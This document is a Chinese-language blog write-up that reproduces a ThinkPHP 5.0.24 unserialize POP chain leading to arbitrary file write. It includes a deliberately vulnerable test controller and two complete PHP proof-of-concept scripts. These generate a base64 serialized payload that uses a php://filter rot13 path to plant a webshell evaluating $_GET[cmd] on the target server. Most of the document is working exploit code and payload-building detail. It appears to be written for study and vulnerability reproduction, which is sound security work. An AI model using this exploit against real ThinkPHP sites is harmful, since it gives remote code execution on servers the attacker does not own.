ThinkPHP5.0.24反序列化链(任意文件写入)分析

环境搭建

PHP 7.2.14

ThinkPHP 5.0.24

1
2
3
4
5
6
7
8
9
<?php
namespace app\index\controller;

class Index
{
public function test(){
$payload = unserialize(base64_decode($_POST['payload']));
}
}

攻击链分析

原文作者对POP链描述的非常清晰,因而在笔记中我的描述比较大概

序列化起始点仍然在thinkphp/library/think/process/pipes/Windows.php__desctruct()方法,通过可控的removeFiles()方法中file_exists触发Model类的__toString(),与TP5.1相同。

Model类__toString()会依次执行toJson()、toArray(),在toArray()存在几处能触发__call()的点

我们目的是触发Output类的__call()方法

$this->handle可控,全局搜索其他存在write()方法的类,在thinkphp/library/think/session/driver/Memcached.phpMemcached发现

同时在thinkphp/library/think/cache/driver/File.php发现File中set()存在文件写入功能

其中由getCacheKey()生成文件名,文件名前部分$this->options[‘path’]可控

再回到File set()中,在文件名前部分可控情况下,file_put_contents()可使用伪协议,这样可消去$data中的exit(),但这时文件内容不可控

继续往下看setTagItem(),其中会再次执行File set(),参数为文件名$filename,即将$filename再写入到一个文件中,这样提供思路:将payload写到文件名中。


回到Model

要执行到触发__call()代码部分,需要通过上面的各种条件判断,经过分析以上条件均可控

首先$value需是Output对象,$value由$this->getRelationData($modelRelation)赋值,参数$modelRelation由$this->$relation()决定,而$relation可控,这样其值可控制为”getError”,因为getError()返回值完全可控。

getRelationData()中需要通过第一个if判断,显然可控~

漏洞复现

根据分析写出poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
}
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{

}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
use think\db\Query;
abstract class OneToOne extends Relation{

}
class HasOne extends OneToOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
function __construct(){
$this->bindAttr = ["no","123"];
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
protected $selfRelation;
protected $query;

function __construct(){
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->parent = new Output();#Output对象,目的是调用__call()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
protected $config = [];
function __construct(){
$this->handler = new File();//目的调用File->set()
$this->config = [
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
'timeout' => 0, // 连接超时时间(单位:毫秒)
'session_name' => '', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
];
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./demo/<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;
use think\Model;
class Pivot extends Model{

}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

该poc仅可在linux下使用,Windows对文件名有限制。

生成文件名规则:

1
2
3
4
5
6
7
8
md5('tag_'.md5($this->tag))
:
md5('tag_c4ca4238a0b923820dcc509a6f75849b')
=>3b58a9545013e88c7186db11bb158c44
=>
<?cuc cucvasb();riny($_TRG[pzq]);?> + 3b58a9545013e88c7186db11bb158c44
最终文件名:
<?cuc cucvasb();riny($_TRG[pzq]);?>3b58a9545013e88c7186db11bb158c44.php

在漏洞利用时需注意目录读写权限,可先控制options[‘path’] = ‘./demo/‘,利用框架创建一个755文件夹(前提是具有权限),再向文件中写文件。

经测试发现上面poc有一个奇怪的问题,在PHP5.6和其他部分版本下用不了,跟踪发现是model类中$this->parent为NULL,这里猜测是:model子类Pivot中也有该变量parent,属性为public;而基类model的parent为protected,可能导致了没有赋值成功,修改poc后成功解决,经测试PHP5.6、7.0、7.1、7.2可用(应该都行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{

}

class Windows extends Pipes{
private $files = [];

function __construct(){
$this->files = [new Pivot()];//触发Model __toString(),子类Pivot合适
}
}

namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}

namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}

}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}

namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}

namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;

function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();

}
}

namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}

namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}

namespace think\model;
use think\Model;
class Pivot extends Model{


}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

后记

前几天刚好分析复习了TP6和TP5.1相关的POP链,刚好想起之前不经意看到的TP5.0.X的反序列化链文章,原文作者没有给poc,因此决定跟着复现一遍并写出poc,在分析和写的过程中也遇到很多未曾遇见的问题,还好最终都解决了~

因poc伪协议中用的是rot13,文件内容写在文件名上,因此无法在Windows下生成文件;当然可想到base64,但实际操作发现,前面部分因必备的伪协议导致必须存在等号,无法通过base64_decode。

参考

  1. https://xz.aliyun.com/t/7082
  2. https://www.anquanke.com/post/id/196364